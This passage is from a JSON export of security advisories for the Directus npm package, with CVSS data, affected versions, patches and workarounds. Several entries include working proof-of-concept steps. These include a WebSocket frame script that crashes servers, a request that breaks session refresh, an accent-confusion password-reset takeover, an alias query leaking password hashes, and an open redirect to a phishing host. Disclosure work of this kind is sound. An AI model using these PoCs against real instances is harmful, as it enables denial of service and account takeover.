takeover.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-08-15T06:32:22.000Z","withdrawn_at":"2025-03-20T18:34:46.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-6534","https://directus.io","https://fluidattacks.com/advisories/capaldi","https://github.com/advisories/GHSA-q83v-hq3j-4pq3"],"source_kind":"github","identifiers":["GHSA-q83v-hq3j-4pq3"],"repository_url":null,"blast_radius":10.921698553874142,"created_at":"2024-08-15T22:05:24.934Z","updated_at":"2026-11-06T02:09:26.012Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xODN2LWhxM2otNHBxM84AA-rb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xODN2LWhxM2otNHBxM84AA-rb","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 10.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xODN2LWhxM2otNHBxM84AA-rb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZjZoLXAzbXItdm1oNc4AA-rS","url":"https://github.com/advisories/GHSA-qf6h-p3mr-vmh5","title":"Duplicate Advisory: Code injection in Directus","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.\n\n## Original Description\nDirectus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-08-15T03:30:28.000Z","withdrawn_at":"2025-03-22T00:35:38.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-6533","https://directus.io","https://fluidattacks.com/advisories/bocelli","https://github.com/advisories/GHSA-qf6h-p3mr-vmh5"],"source_kind":"github","identifiers":["GHSA-qf6h-p3mr-vmh5"],"repository_url":null,"blast_radius":14.218815098439922,"created_at":"2024-08-15T22:05:24.961Z","updated_at":"2026-11-06T02:09:26.013Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjZoLXAzbXItdm1oNc4AA-rS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZjZoLXAzbXItdm1oNc4AA-rS","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 10.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjZoLXAzbXItdm1oNc4AA-rS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZ2Y0LXZ3YzMtcjQ2ds4AA9oh","url":"https://github.com/advisories/GHSA-jgf4-vwc3-r46v","title":"Directus Allows Single Sign-On User Enumeration","description":"### Impact\nWhen relying on SSO providers in combination with local authentication it can be possible to enumerate existing SSO users in the instance. This is possible because if an email address exists in Directus and belongs to a known SSO provider then it will throw a \"helpful\" error that the user belongs to another provider.\n\n### Reproduction\n\n1. Create a user using a SSO provider `test@directus.io`.\n2. Try to log-in using the regular login form (or the API)\n3. When using a valid email address\n\n| **APP** | **API** |\n| --- | --- |\n| ![image](https://github.com/directus/directus/assets/9389634/1da3301d-226f-46a7-bfb8-3f6fb9bc55cd) | ![image](https://github.com/directus/directus/assets/9389634/50cab310-7d1c-4241-a6be-d06542565767) |\n\n4. When using an invalid email address\n\n| **APP** | **API** |\n| --- | --- |\n| ![image](https://github.com/directus/directus/assets/9389634/7b97659e-b49c-410b-872e-e36786b6e41e) | ![image](https://github.com/directus/directus/assets/9389634/d26ccba7-bb27-437e-991e-99c10941bbe7) |\n\n5. Using this differing error it is possible to determine whether a specific email address is present in the Directus instance as an SSO user.\n\n### Workarounds\nWhen only using SSO for authentication then you can work around this issue by disabling local login using the following environment variable `AUTH_DISABLE_DEFAULT=\"true\"`\n\n### References\nImplemented as feature in https://github.com/directus/directus/pull/13184\nhttps://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-07-08T18:41:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/directus/directus/security/advisories/GHSA-jgf4-vwc3-r46v","https://nvd.nist.gov/vuln/detail/CVE-2024-39896","https://github.com/directus/directus/commit/454cb534d6ffa547feb11f4d74b932ae7368dae2","https://github.com/advisories/GHSA-jgf4-vwc3-r46v"],"source_kind":"github","identifiers":["GHSA-jgf4-vwc3-r46v","CVE-2024-39896"],"repository_url":"https://github.com/directus/directus","blast_radius":17.92807121107642,"created_at":"2024-07-08T19:05:32.756Z","updated_at":"2026-11-06T14:09:23.762Z","epss_percentage":0.00506,"epss_percentile":0.42897,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZ2Y0LXZ3YzMtcjQ2ds4AA9oh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZ2Y0LXZ3YzMtcjQ2ds4AA9oh","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.13.0","vulnerable_version_range":"\u003e= 9.11, \u003c 10.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZ2Y0LXZ3YzMtcjQ2ds4AA9oh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oeGdtLWdobXYteGpqbc4AA9oe","url":"https://github.com/advisories/GHSA-hxgm-ghmv-xjjm","title":"Directus incorrectly handles `_in` filter","description":"### Summary\nDirectus \u003e=9.23.0, \u003c=v10.5.3 improperly handles _in, _nin operators.\nIt evaluates empty arrays as valid so expressions like {\"role\": {\"_in\": $CURRENT_USER.some_field}} would evaluate to true allowing the request to pass.\n\n### Details\nThis results in Broken Access Control because the rule fails to do what it was intended to do: Pass rule if **field** matches any of the **values**. ref: https://docs.directus.io/reference/filter-rules.html#filter-operators\nIn my example this would translate to \"Pass rule if **\u003ccollection\u003e.role** matches any of **[]**\". Which should fail. This instead passes in Directus \u003c= v10.5.3, \u003e=v9.23.0\n\n### PoC\n{\"role\": {\"_in\": $CURRENT_USER.some_field}} field validation would pass if $CURRENT_USER.some_field is null.\n\nReal scenario: Using https://github.com/u12206050/directus-extension-role-chooser with the specified versions of Directus (I tested on 10.0.0) allows users with access to this feature set their role to whatever role if they don't have any roles assigned (user_roles.role is left with the default value, null) despite the validation rule being \n```yaml\nvalidation:\n    role:\n      _in: $CURRENT_USER.user_roles.role\n```\nLatest version of Directus (v10.8.3 and above) handles the above validation rule correctly.\n\n### Impact\nPermissions fail to open for setups relying on this filter and can lead to users getting access to things they're not supposed to.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-07-08T18:37:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/directus/directus/security/advisories/GHSA-hxgm-ghmv-xjjm","https://nvd.nist.gov/vuln/detail/CVE-2024-39701","https://github.com/advisories/GHSA-hxgm-ghmv-xjjm"],"source_kind":"github","identifiers":["GHSA-hxgm-ghmv-xjjm","CVE-2024-39701"],"repository_url":"https://github.com/directus/directus","blast_radius":14.424884882475283,"created_at":"2024-07-08T19:05:34.153Z","updated_at":"2026-11-06T14:09:23.763Z","epss_percentage":0.00423,"epss_percentile":0.36535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oeGdtLWdobXYteGpqbc4AA9oe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oeGdtLWdobXYteGpqbc4AA9oe","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.6.0","vulnerable_version_range":"\u003e= 9.23.0, \u003c= 10.5.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oeGdtLWdobXYteGpqbc4AA9oe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MzJwLXA0OTUtMjVtNc4AA8sw","url":"https://github.com/advisories/GHSA-632p-p495-25m5","title":"Directus is soft-locked by providing a string value to random string util","description":"### Describe the Bug\n\nProviding a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.\n\n### To Reproduce\n\n1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string`\n2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo`\n3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string\n4. In this error situation you'll see authentication refreshes fail for the app and api.\n\n### Impact\n\nThis counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T17:53:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5","https://nvd.nist.gov/vuln/detail/CVE-2024-36128","https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b","https://github.com/advisories/GHSA-632p-p495-25m5"],"source_kind":"github","identifiers":["GHSA-632p-p495-25m5","CVE-2024-36128"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-06-04T18:05:24.350Z","updated_at":"2026-11-06T14:09:33.142Z","epss_percentage":0.0062,"epss_percentile":0.49537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MzJwLXA0OTUtMjVtNc4AA8sw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MzJwLXA0OTUtMjVtNc4AA8sw","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.11.2","vulnerable_version_range":"\u003c= 10.11.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MzJwLXA0OTUtMjVtNc4AA8sw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNjVoLTM1ZjMteDJ3M84AA74v","url":"https://github.com/advisories/GHSA-g65h-35f3-x2w3","title":"Directus Lacks Session Tokens Invalidation","description":"### Summary\nCurrently session tokens function like the other JWT tokens where they are not actually invalidated when logging out. The `directus_session` gets destroyed and the cookie gets deleted but if you captured the cookie value it will still work for the entire expiry time which is set to 1 day by default. Making it effectively a long lived unrevokable stateless token instead of the stateful session token it was meant to be.\nWhen authenticating a session token JWT, Directus should also check whether the associated `directus_session` both still exists and has not expired (although the token should expire at the same time or before the session) to ensure leaked tokens are not valid indefinitely.\n\n## Steps to reproduce\n- Copy the current session token from the cookie\n- Refresh and or log out\n- Use the saved session token to check if it is still valid\n\n### Impact\nThe lack of proper session expiration may improve the likely success of certain attacks. For example, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Incorrect token invalidation could allow an attacker to use the browser's history to access a Directus instance session previously accessed by the victim.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-05-13T19:59:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-g65h-35f3-x2w3","https://github.com/directus/directus/commit/a6172f8a6a0f31a6bf4305a090de172ebfb63bcf","https://nvd.nist.gov/vuln/detail/CVE-2024-34709","https://github.com/advisories/GHSA-g65h-35f3-x2w3"],"source_kind":"github","identifiers":["GHSA-g65h-35f3-x2w3","CVE-2024-34709"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-05-13T20:05:33.115Z","updated_at":"2026-11-06T14:09:53.740Z","epss_percentage":0.0045,"epss_percentile":0.38869,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNjVoLTM1ZjMteDJ3M84AA74v","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNjVoLTM1ZjMteDJ3M84AA74v","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.11.0","vulnerable_version_range":"\u003e= 10.10.0, \u003c 10.11.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNjVoLTM1ZjMteDJ3M84AA74v/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOHYzLW02NDMtNHhxeM4AA74s","url":"https://github.com/advisories/GHSA-p8v3-m643-4xqx","title":"Directus allows redacted data extraction on the API through \"alias\"","description":"## Summary\nA user with permission to view any collection using redacted hashed fields can get access the raw stored version using the `alias` functionality on the API.\nNormally, these redacted fields will return `**********` however  if we change the request to `?alias[workaround]=redacted` we can instead retrieve the plain text value for the field.\n\n## Steps to reproduce\n- Set up a simple role with read-access to users.\n- Create a new user with the role from the previous step\n- Assign a password to the user\n\nThe easiest way to confirm this vulnerability is by first visiting `/users/me`. You should be presented with a redacted JSON-object.\nNext, visit `/users/me?alias[hash]=password`. This time, the returned JSON object will included the raw password hash instead of the redacted value.\n\n## Workaround\nThis can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-05-13T19:40:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-p8v3-m643-4xqx","https://github.com/directus/directus/commit/e70a90c267bea695afce6545174c2b77517d617b","https://nvd.nist.gov/vuln/detail/CVE-2024-34708","https://github.com/advisories/GHSA-p8v3-m643-4xqx"],"source_kind":"github","identifiers":["GHSA-p8v3-m643-4xqx","CVE-2024-34708"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-05-13T20:05:33.225Z","updated_at":"2026-11-06T14:09:53.741Z","epss_percentage":0.00757,"epss_percentile":0.54628,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOHYzLW02NDMtNHhxeM4AA74s","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOHYzLW02NDMtNHhxeM4AA74s","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.11.0","vulnerable_version_range":"\u003c 10.11.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOHYzLW02NDMtNHhxeM4AA74s/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcjN3LTJwMjItNnc3cM4AA572","url":"https://github.com/advisories/GHSA-fr3w-2p22-6w7p","title":"URL Redirection to Untrusted Site in OAuth2/OpenID in directus","description":"### Summary\nThe authentication API has a `redirect` parameter that can be exploited as an open redirect vulnerability as the user tries to log in via the API URL https://docs.directus.io/reference/authentication.html#login-using-sso-providers /auth/login/google?redirect for example.\n\n### Details\nThere's a redirect that is done after successful login via the Auth API GET request to `directus/auth/login/google?redirect=http://malicious-fishing-site.com`, which I think is here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L394. While credentials don't seem to be passed to the attacker site, the user can be phished into clicking a legitimate directus site and be taken to a malicious site made to look like a an error message \"Your password needs to be updated\" to phish out the current password.\n\n### PoC\nTurn on any auth provider in Directus instance. Form a link to `directus-instance/auth/login/:provider_id?redirect=http://malicious-fishing-site.com`, login and get taken to malicious-site. Tested on the `ory` OAuth2 integration.\n\n### Impact\nUsers who login via OAuth2 into Directus.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-12T20:50:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-fr3w-2p22-6w7p","https://github.com/directus/directus/commit/5477d7d61babd7ffc2f835d399bf79611b15b203","https://nvd.nist.gov/vuln/detail/CVE-2024-28239","https://docs.directus.io/reference/authentication.html#login-using-sso-providers","https://github.com/advisories/GHSA-fr3w-2p22-6w7p"],"source_kind":"github","identifiers":["GHSA-fr3w-2p22-6w7p","CVE-2024-28239"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-03-21T20:04:45.222Z","updated_at":"2026-11-06T14:10:38.554Z","epss_percentage":0.00583,"epss_percentile":0.47559,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcjN3LTJwMjItNnc3cM4AA572","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcjN3LTJwMjItNnc3cM4AA572","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.10.0","vulnerable_version_range":"\u003c 10.10.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcjN3LTJwMjItNnc3cM4AA572/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yY2NyLWcycnYtaDY3N84AA571","url":"https://github.com/advisories/GHSA-2ccr-g2rv-h677","title":"Session Token in URL in directus","description":"### Impact\n\nWhen reaching the /files page, a JWT is passed via GET request. Inclusion of session tokens in URLs poses a security risk as URLs are often logged in various places (e.g., web server logs, browser history). Attackers gaining access to these logs may hijack active user sessions, leading to unauthorized access to sensitive information or actions on behalf of the user.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n\nThere's no workaround available.\n\n### References\n\n_Are there any links users can visit to find out more?_\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-03-12T20:47:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-2ccr-g2rv-h677","https://nvd.nist.gov/vuln/detail/CVE-2024-28238","https://github.com/advisories/GHSA-2ccr-g2rv-h677"],"source_kind":"github","identifiers":["GHSA-2ccr-g2rv-h677","CVE-2024-28238"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-03-21T20:04:45.260Z","updated_at":"2026-11-06T14:10:38.554Z","epss_percentage":0.00245,"epss_percentile":0.15554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2NyLWcycnYtaDY3N84AA571","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yY2NyLWcycnYtaDY3N84AA571","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.10.0","vulnerable_version_range":"\u003c 10.10.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2NyLWcycnYtaDY3N84AA571/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01bWhnLXd2OHctcDU5as4AA5sN","url":"https://github.com/advisories/GHSA-5mhg-wv8w-p59j","title":"Directus version number disclosure","description":"### Impact\n\nCurrently the exact Directus version number is being shipped in compiled JS bundles which are accessible without authentication. With this information a malicious attacker can trivially look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.\n\n### Patches\n\nThe problem has been resolved in versions 10.8.3 and newer\n\n### Workarounds\n\nNone","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-01T20:11:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-5mhg-wv8w-p59j","https://nvd.nist.gov/vuln/detail/CVE-2024-27296","https://github.com/directus/directus/commit/a5a1c26ac48795ed3212a4c51b9523588aff4fa0","https://github.com/advisories/GHSA-5mhg-wv8w-p59j"],"source_kind":"github","identifiers":["GHSA-5mhg-wv8w-p59j","CVE-2024-27296"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-03-01T21:04:35.148Z","updated_at":"2026-11-06T14:10:43.859Z","epss_percentage":0.0057,"epss_percentile":0.46873,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bWhnLXd2OHctcDU5as4AA5sN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01bWhnLXd2OHctcDU5as4AA5sN","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.8.3","vulnerable_version_range":"\u003c= 10.8.2"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bWhnLXd2OHctcDU5as4AA5sN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdzlnLTc1NDktN3dnNc4AA5r0","url":"https://github.com/advisories/GHSA-qw9g-7549-7wg5","title":"Directus has MySQL accent insensitive email matching","description":"## Password reset vulnerable to accent confusion\n\nThe password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents. \n\nThis is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons.\n\nMySQL weak comparison:\n```sql\nselect 1 from directus_users where 'julian@cure53.de' = 'julian@cüre53.de';\n```\n\nThis is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database.\n\n### Steps to reproduce:\n\n1. If the attacker knows the email address of the victim user, i.e., `julian@cure53.de`. (possibly just the domain could be enough for an educated guess)\n2. A off-by-one accented domain `cüre53.de` can be registered to be able to receive emails.\n3. With this email the attacker can request a password reset for `julian@cüre53.de`. \n```http\nPOST /auth/password/request HTTP/1.1\nHost: example.com\n[...]\n{\"email\":\"julian@cüre53.de\"}\n```\n4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email `julian@cure53.de` and will continue to email the password reset link to the provided email address instead of the saved email address.\n5. With this email the attacker can log into the target account and use it for nefarious things\n\n### Workarounds\nShould be possible with collations but haven't been able to confirm this. \n\n### References\n- https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation/\n- https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html\n\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-01T16:58:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-qw9g-7549-7wg5","https://github.com/directus/directus/commit/a8ef790ea2d28b1727f9027d99bd360920d57919","https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html","https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation","https://nvd.nist.gov/vuln/detail/CVE-2024-27295","https://github.com/advisories/GHSA-qw9g-7549-7wg5"],"source_kind":"github","identifiers":["GHSA-qw9g-7549-7wg5","CVE-2024-27295"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-03-01T18:04:47.923Z","updated_at":"2026-11-06T14:10:43.863Z","epss_percentage":0.00702,"epss_percentile":0.52633,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzlnLTc1NDktN3dnNc4AA5r0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdzlnLTc1NDktN3dnNc4AA5r0","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.8.3","vulnerable_version_range":"\u003c= 10.8.2"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzlnLTc1NDktN3dnNc4AA5r0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1obWd3LTlqcmctaGYybc4AA2kX","url":"https://github.com/advisories/GHSA-hmgw-9jrg-hf2m","title":"Directus crashes on invalid WebSocket message","description":"### Summary\nIt seems that any Directus installation that has websockets enabled can be crashed if the websocket server receives an invalid frame. This could probably be posted as an issue and I might even be able to put together a pull request for a fix (if only I had some extra time...), but I decided to instead post as a vulnerability just for the maintainers, since this seemingly can be used to crash any live Directus server if websockets are enabled, so public disclosure is not a good idea until the issue is fixed.\n\n### Details\nThe fix for this seems quite simple; the websocket server just needs to properly catch the error instead of crashing the server. See for example: https://github.com/websockets/ws/issues/2098\n\n### PoC\n- Start a fresh Directus server (using for example the compose file here: https://docs.directus.io/self-hosted/docker-guide.html). Enable websockets by setting `WEBSOCKETS_ENABLED: 'true'` environment variable.\n- run a separate node app somewhere else to send an invalid frame to the server:\n\n```\nconst WebSocket = require(\"ws\");\nconst websocket = new WebSocket(\"ws://0.0.0.0:8055/websocket\");\nwebsocket.on(\"open\", function () {\n  const chunk = Buffer.from(\"a180\", \"hex\");\n  websocket._socket.write(chunk);\n});\n```\n\n### Impact\nThe server crashes with an error: `RangeError: Invalid WebSocket frame: RSV2 and RSV3 must be clear`. Server needs to be manually restarted to get back online (if there's no recovery mechanism in place, as there often isn't with simple node servers). This was confirmed on a local server, and additionally I was able to crash our staging server with the same code, just pointing to our staging Directus server running at fly.io. It seems to also crash servers running in the [directus.cloud](https://directus.cloud) service. I created https://websocket-test.directus.app/, pointed the above script to the websocket url of that instance and the server does crash for a while. It seems that in there there's a mechanism for bringing the server back up quite fast, but it would be quite trivial for anyone to DoS any server running in directus.cloud by just spamming these invalid frames to the server. ","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-19T20:02:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-hmgw-9jrg-hf2m","https://github.com/directus/directus/commit/243eed781b42d6b4948ddb8c3792bcf5b44f55bb","https://github.com/directus/directus/releases/tag/v10.6.2","https://nvd.nist.gov/vuln/detail/CVE-2023-45820","https://github.com/advisories/GHSA-hmgw-9jrg-hf2m"],"source_kind":"github","identifiers":["GHSA-hmgw-9jrg-hf2m","CVE-2023-45820"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-10-19T21:06:04.360Z","updated_at":"2026-11-06T14:12:07.134Z","epss_percentage":0.00834,"epss_percentile":0.57545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obWd3LTlqcmctaGYybc4AA2kX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obWd3LTlqcmctaGYybc4AA2kX","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.6.2","vulnerable_version_range":"\u003e= 10.4.0, \u003c 10.6.2"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obWd3LTlqcmctaGYybc4AA2kX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yMnJyLWYzcDgtNWdmOM4AA15b","url":"https://github.com/advisories/GHSA-22rr-f3p8-5gf8","title":"Directus affected by VM2 sandbox escape vulnerability","description":"### Impact\nIn vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code. Within Directus this applies to the \"Run Script\" operation in flows being able to escape the sandbox running code in the main nodejs context.\n\n### Patches\nPatched in v10.6.0 by replacing `vm2` with `isolated-vm`\n\n### Workarounds\nNone\n\n### 